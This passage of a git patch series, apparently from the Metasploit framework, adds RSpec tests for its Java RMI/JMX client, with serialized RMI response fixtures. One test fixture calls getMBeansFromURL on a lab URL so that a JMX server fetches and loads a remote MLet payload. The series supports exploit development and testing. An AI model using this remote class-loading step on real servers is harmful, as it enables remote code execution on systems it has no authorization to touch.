"\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + end + + let(:lookup_exception) do + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + end + + let(:name) do + 'jmxrmi' + end + + let(:interface_class) do + 'javax.management.remote.rmi.RMIServerImpl_Stub' + end + + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { StringIO.new('', 'w+b') } + + describe "#send_registry_list" do + context "when there aren't names registered" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(list_empty_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns empty array" do + expect(mod.send_registry_list(sock: io)).to eq([]) + end + end + + context "when there are names registered" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(list_with_names_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns the list of registered names" do + expect(mod.send_registry_list(sock: io)).to eq([name]) + end + end + + end + + describe "#send_registry_lookup" do + context "when there isn't an interface bound" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(lookup_exception) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "raises an Rex::Proto::Rmi::Exception" do + expect { mod.send_registry_lookup(sock: io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) + end + end + + context "when there is an interface bound" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(lookup_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns the reference information" do + expect(mod.send_registry_lookup(sock: io, name: name)[:object]).to eq(interface_class) + end + end + end +end + From 356e8c727c8db21194d00e43e8175311dc2af84f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 18:56:58 -0500 Subject: [PATCH 43/58] Add specs for Msf::Java::Rmi::Client::Jmx::Server --- .../exploits/multi/misc/java_jmx_server.rb | 1 - .../msf/java/rmi/client/jmx/server_spec.rb | 63 +++++++++++++++++++ 2 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 spec/lib/msf/java/rmi/client/jmx/server_spec.rb diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index ac9149118a..67a9e7ccda 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -51,7 +51,6 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ - Opt::RPORT(1617), Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) diff --git a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb new file mode 100644 index 0000000000..596bcd59a3 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb @@ -0,0 +1,63 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' +require 'stringio' + +describe Msf::Java::Rmi::Client::Jmx::Server do + + let(:new_client_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + end + + let(:remote_address) do + '172.16.158.132' + end + + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { StringIO.new('', 'w+b') } + + describe "#send_new_client" do + context "when there is an RMIServerImpl_Stub interface" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(new_client_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns the reference information" do + expect(mod.send_new_client(sock: io)[:address]).to eq(remote_address) + end + end + end + +end + From f43eab29ed4ec8aeb74e0cc2eac650c8c21ccfb7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 19:14:10 -0500 Subject: [PATCH 44/58] Delete debug puts --- lib/msf/java/rmi/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 16c207f4bb..97cfed79a9 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -107,7 +107,7 @@ module Msf def recv_return(opts = {}) nsock = opts[:sock] || sock data = safe_get_once(nsock) - puts "#{Rex::Text.to_hex(data)}" + begin return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) rescue ::RuntimeError => e From 0b671d52106d6665700ef0b308b557cf961e3aa6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 19:15:25 -0500 Subject: [PATCH 45/58] Add specs for Msf::Java::Rmi::Client::Jmx::Connection --- .../java/rmi/client/jmx/connection_spec.rb | 157 ++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 spec/lib/msf/java/rmi/client/jmx/connection_spec.rb diff --git a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb new file mode 100644 index 0000000000..5ca9952516 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb @@ -0,0 +1,157 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' +require 'stringio' + +describe Msf::Java::Rmi::Client::Jmx::Connection do + + let(:name_get) { 'DefaultDomain:type=MLet' } + + let(:get_object_instance_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + end + + let(:name_create) { 'javax.management.loading.MLet' } + + let(:create_mbean_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + end + + let(:invoke_args) do + { + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' } + } + end + + let(:invoke_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + end + + let(:remote_address) do + '172.16.158.132' + end + + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { StringIO.new('', 'w+b') } + + describe "#send_jmx_get_object_instance" do + context "when the object exists" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(get_object_instance_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns true" do + expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy + end + end + end + + describe "#send_jmx_create_mbean" do + context "when the object is created successfully" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(create_mbean_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns true" do + expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy + end + end + end + + describe "#send_jmx_invoke" do + context "when the remote method is called successfully" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(invoke_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns true" do + expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy + end + end + end + +end + From a5c39db6c3c33ab3eeb5edc281b4b4a4fda56cea Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 19:30:59 -0500 Subject: [PATCH 46/58] Use mocks like a boss... --- spec/lib/msf/java/rmi/client_spec.rb | 29 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 15 deletions(-) diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index 4e6b362e80..cd4de62bf3 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -5,17 +5,6 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/java/rmi/client' -class RmiStringIO < StringIO - - def put(data) - write(data) - end - - def get_once(length = -1, timeout = 10) - read - end -end - describe Msf::Java::Rmi::Client do subject(:mod) do mod = ::Msf::Exploit.new @@ -24,11 +13,11 @@ describe Msf::Java::Rmi::Client do mod end - let(:io) { RmiStringIO.new('', 'w+b') } + let(:io) { StringIO.new('', 'w+b') } let(:protocol_not_supported) { "\x4f" } - let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) } + let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) } let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } - let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) } + let(:protocol_ack_io) { StringIO.new(protocol_ack) } let(:return_data) do "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + @@ -49,7 +38,17 @@ describe Msf::Java::Rmi::Client do "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" end - let(:return_io) { RmiStringIO.new(return_data) } + let(:return_io) { StringIO.new(return_data) } + + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end describe "#send_header" do it "returns the number of bytes sent" do From 0540e25db2f1bfe011e105d2fd62e4233119e390 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 25 Mar 2015 11:29:07 -0500 Subject: [PATCH 47/58] Calculate the java/rmi/registry/RegistryImpl_Stub hash dinamically --- lib/msf/java/rmi/client/registry.rb | 38 +++++++++++++++++++ lib/msf/java/rmi/client/registry/builder.rb | 4 +- lib/msf/java/rmi/util.rb | 4 +- .../auxiliary/scanner/misc/java_rmi_server.rb | 15 ++++++-- spec/lib/msf/java/rmi/client/registry_spec.rb | 6 +++ spec/lib/msf/java/rmi/util_spec.rb | 26 +++++-------- 6 files changed, 68 insertions(+), 25 deletions(-) diff --git a/lib/msf/java/rmi/client/registry.rb b/lib/msf/java/rmi/client/registry.rb index 997d49bab0..3a10d7b2ea 100644 --- a/lib/msf/java/rmi/client/registry.rb +++ b/lib/msf/java/rmi/client/registry.rb @@ -84,6 +84,44 @@ module Msf names end + + # Calculates the hash to make RMI calls for the + # java/rmi/registry/RegistryImpl_Stub interface + # + # @return [Fixnum] The interface's hash + def 